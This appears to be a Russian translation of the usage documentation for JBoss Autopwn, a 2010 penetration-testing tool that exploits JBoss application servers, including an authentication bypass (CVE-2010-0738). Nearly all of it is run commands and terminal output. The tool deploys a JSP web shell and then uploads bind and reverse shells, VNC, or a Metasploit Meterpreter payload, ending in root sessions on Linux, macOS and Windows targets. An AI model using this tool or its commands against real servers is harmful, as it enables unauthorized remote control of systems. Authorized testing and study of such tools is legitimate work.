
Автоматизированный скрипт эксплуатации JBoss, развертывающий JSP-шеллы с поддержкой bind/reverse shell, Meterpreter и VNC для тестирования на проникновение.
JBoss Autopwn, представленный на BlackHat Europe 2010 — эта версия включает CVE-2010-0738, уязвимость обхода аутентификации JBoss через манипуляцию с VER-запросами, обнаруженную Minded Security.
C. Papathanasiou 2010
Этот скрипт JBoss развертывает JSP-шелл на целевом сервере JBoss AS. После развертывания скрипт использует его возможности загрузки и выполнения команд для обеспечения интерактивного сеанса.
Возможности включают:
Зависимости:
Используйте e.sh для целей *nix, использующих bind_tcp и reverse_tcp
./e.sh target_ip tcp_port
Используйте e2.sh для целей Windows, которые могут выполнять полезные нагрузки Metasploit для Windows
/e2.sh target_ip tcp_port
Оболочка Linux (bind shell):
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан в /tmp
[x] Развертывание .war-файла:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] Выполнение от пользователя...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] Имя сервера (uname)...:
Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] Хотите загрузить обратную (reverse) или прямую (bind) оболочку? bind
[!] На каком порту должна прослушиваться прямая оболочка? 31337
[x] Загрузка полезной нагрузки прямой оболочки...
[x] Проверка успешности загрузки...
-rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload
[x] У вас должна быть прямая оболочка на 192.168.1.2:31337..
[x] Переход в оболочку...
Connection to 192.168.1.2 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")'
[root@nitrogen /]# полная интерактивная оболочка :-)
Обратная оболочка Linux (reverse shell):
[root@nitrogen jboss]# nc -lv 31337 &
[1] 15536
[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан в /tmp
[x] Развертывание .war-файла:
http://192.168.1.2:8080/browser/browser/browser.jsp
[x] Выполнение от пользователя...:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[x] Имя сервера (uname)...:
Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
[!] Хотите загрузить обратную (reverse) или прямую (bind) оболочку? reverse
[!] На каком порту вы хотите принять обратную оболочку? 31337
[x] Загрузка полезной нагрузки обратной оболочки...
[x] Проверка успешности загрузки...
-rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload
Connection from 192.168.1.2 port 31337 [tcp/*] accepted
[x] У вас должна быть обратная оболочка на localhost:31337..
[root@nitrogen jboss]# jobs
[1]+ Running nc -lv 31337 &
[root@nitrogen jboss]# fg 1
nc -lv 31337
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
python -c 'import pty; pty.spawn("/bin/bash")';
[root@nitrogen /]# полная интерактивная tty :-)
full interactive tty :-)
Против MacOS X (прямая оболочка):
[root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан в /tmp
[x] Развертывание .war-файла:
http://192.168.1.5:8080/browser/browser/browser.jsp
[x] Выполнение от пользователя...:
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
[x] Имя сервера (uname)...:
Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386
[!] Хотите загрузить обратную (reverse) или прямую (bind) оболочку? bind
[!] На каком порту должна прослушиваться прямая оболочка? 31337
[x] Загрузка полезной нагрузки прямой оболочки...
[x] Проверка успешности загрузки...
-rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload
[x] У вас должна быть прямая оболочка на 192.168.1.5:31337..
[x] Переход в оболочку...
Connection to 192.168.1.5 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2# id
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2)
bash-3.2#
Аналогично для обратной оболочки.
Прямая оболочка Windows (bind shell):
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан на c:
[x] Развертывание .war-файла:
[x] Веб-оболочка включена!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Имя сервера...:
Host Name . . . . . . . . . . . . : aquarius
[x] Вы хотите обратную (reverse), прямую (bind) оболочку или VNC(bind)? bind
[x] На каком порту должна прослушиваться ваша прямая оболочка? 31337
[x] Загрузка полезной нагрузки прямой оболочки...
[x] Проверка правильности загрузки прямой оболочки...
[x] Прямая оболочка загружена: 22/11/2009 18:35 87,552 payload.exe
[x] Выполнение прямой оболочки...
[x] Прямая оболочка выполнена!
[x] Возврат к metasploit...
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war>
Обратная оболочка Windows с полезной нагрузкой Metasploit meterpreter:
[root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null
[x] Получение cookie
[x] Создание BSH-скрипта...
[x] .war-файл успешно создан на c:
[x] Развертывание .war-файла:
[x] Веб-оболочка включена!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp
[x] Имя сервера...:
Host Name . . . . . . . . . . . . : aquarius
[x] Вы хотите обратную (reverse), прямую (bind) оболочку или VNC(bind)? reverse
[x] На каком порту вы хотите принять обратную оболочку? 31337
[x] Загрузка полезной нагрузки обратной оболочки...
[x] Проверка правильности загрузки обратной оболочки...
[x] Обратная оболочка загружена: 22/11/2009 18:46 87,552 payload.exe
[x] У вас есть 20 секунд на запуск metasploit, прежде чем я отправлю обратную оболочку.. ctrl-z, bg затем введите:
framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[x] Выполнение обратной оболочки...
[x] Обратная оболочка выполнена!
[root@nitrogen jboss]#
В терминале 2:
[root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 31337
[*] Starting the payload handler...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266)